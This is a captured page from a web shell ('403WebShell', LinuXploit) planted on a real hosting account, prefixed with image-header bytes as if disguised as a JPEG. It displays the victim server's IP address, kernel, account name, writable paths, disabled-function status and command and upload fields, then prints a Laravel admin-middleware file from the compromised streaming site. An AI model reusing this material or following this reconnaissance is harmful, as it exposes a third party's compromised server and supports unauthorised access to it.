����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.15.221.46
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Middleware/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Middleware/IsAdmin.php
<?php

namespace App\Http\Middleware;

use App\AudioLanguage;
use App\Config;
use App\FrontSliderUpdate;
use App\Genre;
use App\HomeSlider;
use App\Menu;
use App\Movie;
use App\Package;
use App\Season;
use Carbon\Carbon;
use Closure;
use Illuminate\Support\Facades\Auth;

class IsAdmin
{
    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return mixed
     */
    public function handle($request, Closure $next)
    {

        $menus = Menu::all();
        $withlogin = Config::findOrFail(1)->withlogin;
        if (Auth::check()) {
            $auth = Auth::user();

            if ($auth->is_admin == 1 || $auth->is_assistant == 1) {
                return $next($request);
            } else {
                return redirect('/');
            }

        } else {
            if ($withlogin == 1) {
                $navmenh = $request->route()->parameter('menu');
                if (isset($navmenh)) {
                    # code...

                    $sliderview = FrontSliderUpdate::all();

                    $home_slides = HomeSlider::orderBy('position', 'asc')->get();

                    $menu = Menu::whereSlug($navmenh)->first();
                    $withlogin = Config::findOrFail(1)->withlogin;
                    //Slider get limit here and Front Slider order
                    $catlog = Config::findOrFail(1)->catlog;
                    $limit = FrontSliderUpdate::where('id', 1)->first();

                    if (!isset($menu)) {

                        return redirect('/');
                    }

                    $movies = collect();
                    $fil_movies = $menu->menu_data;
                    if (count($fil_movies) > 0) {
                        foreach ($fil_movies as $key => $value) {

                            $movies->push($value->movie);

                        }
                    }

                    $movies = $movies->flatten();
                    $movies = $movies->filter(function ($value, $key) {
                        return $value != null;
                    });

                    $tvserieses = array();
                    // $tvserieses = collect();
                    $fil_tvserieses = $menu->menu_data;

                    //for desc order Movies

                    $limit2 = FrontSliderUpdate::where('id', 2)->first();

                    //for desc tvseries

                    $limit3 = FrontSliderUpdate::where('id', 3)->first();

                    if (count($fil_tvserieses) > 0) {

                        foreach ($fil_tvserieses as $key => $value) {

                            array_push($tvserieses, $value->tvseries);

                        }
                    }

                    $tvserieses = array_values(array_filter($tvserieses));

                    $genres = Genre::all();
                    $a_languages = AudioLanguage::all();
                    $all_mix = collect();

                    if (count($movies)) {
                        $mCount = 0;
                        foreach ($movies as $key => $value) {
                            if ($mCount < $limit->item_show) {
                                $all_mix->push($value);
                                $mCount++;
                            } else {
                                break;
                            }

                        }
                    }
                    // return $tvserieses;
                    if (count($tvserieses) > 0) {
                        $tCount = 0;
                        foreach ($tvserieses as $value) {
                            if ($value->type == 'T') {

                                if ($tCount < $limit->item_show) {
                                    $all_mix->push($value);
                                    $tCount++;
                                } else {
                                    break;
                                }

                            }
                        }
                    }

                    // Featured Movies Array
                    $featured_movies = collect();
                    if (count($movies) > 0) {
                        foreach ($movies as $key => $movie) {
                            if ($movie->featured == 1) {
                                $featured_movies->push($movie);
                            }
                        }
                    }

                    // Featured Tvserieses
                    $featured_seasons = collect();
                    if (count($tvserieses) > 0) {
                        foreach ($tvserieses as $key => $series) {
                            if ($series->featured == 1) {
                                $featured_seasons->push($series);
                            }
                        }
                    }
                    $featured_seasons = $featured_seasons->flatten()->shuffle();

                    $recent_added_movies = Movie::orderBy('id', 'desc')->get();
                    $recent_added_seasons = Season::orderBy('id', 'desc')->get();
                    $all_mix = $all_mix->shuffle();

                    if ($limit2->orderby == 0) {
                        $movies = $recent_added_movies;
                    }

                    if ($limit3->orderby == 0) {
                        arsort($tvserieses);
                    }

                    //limit for first section

                    $limitformix = FrontSliderUpdate::where('id', 1)->first();

                    $all_mix = $all_mix->chunk($limitformix->item_show);

                    if (count($all_mix) > 0) {
                        $all_mix = $all_mix[0];
                    }
                    $menuh = Menu::all();
                    $auth = Auth::user();
                    $subscribed = null;

                    if (isset($auth)) {
                        $current_date = date("d/m/y");

                        $auth = Auth::user();
                        if ($auth->is_admin == 1) {
                            $subscribed = 1;

                        } else if ($auth->stripe_id != null) {
                            Stripe\Stripe::setApiKey(env('STRIPE_SECRET'));
                            if (isset($invoices) && $invoices != null && count($invoices->data) > 0) {
                                $user_plan_end_date = date("d/m/y", $invoice->lines->data[0]->period->end);
                                $plans = Package::all();
                                foreach ($plans as $key => $plan) {
                                    if ($auth->subscriptions($plan->plan_id)) {
                                        if ($current_date <= $user_plan_end_date) {
                                            if ($auth->is_admin == 0) {
                                                $subscribed = 1;
                                            }
                                        }
                                    }
                                }
                            }
                        } else if (isset($auth->paypal_subscriptions)) {
                            //Check Paypal Subscription of user
                            $last_payment = $auth->paypal_subscriptions->last();
                            if (isset($last_payment) && $last_payment->status == 1) {
                                //check last date to current date
                                $current_date = Carbon::now();
                                if (date($current_date) <= date($last_payment->subscription_to)) {
                                    $subscribed = 1;
                                }
                            }
                        }
                    }

                    return Response(view('home', compact('home_slides', 'recent_added_seasons',
                        'movies', 'tvserieses', 'a_languages', 'all_mix', 'sliderview', 'recent_added_movies',
                        'genres', 'featured_movies', 'featured_seasons', 'menuh', 'catlog', 'withlogin', 'subscribed', 'menu')));
                }
            } else {

                return redirect('login');

            }

        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit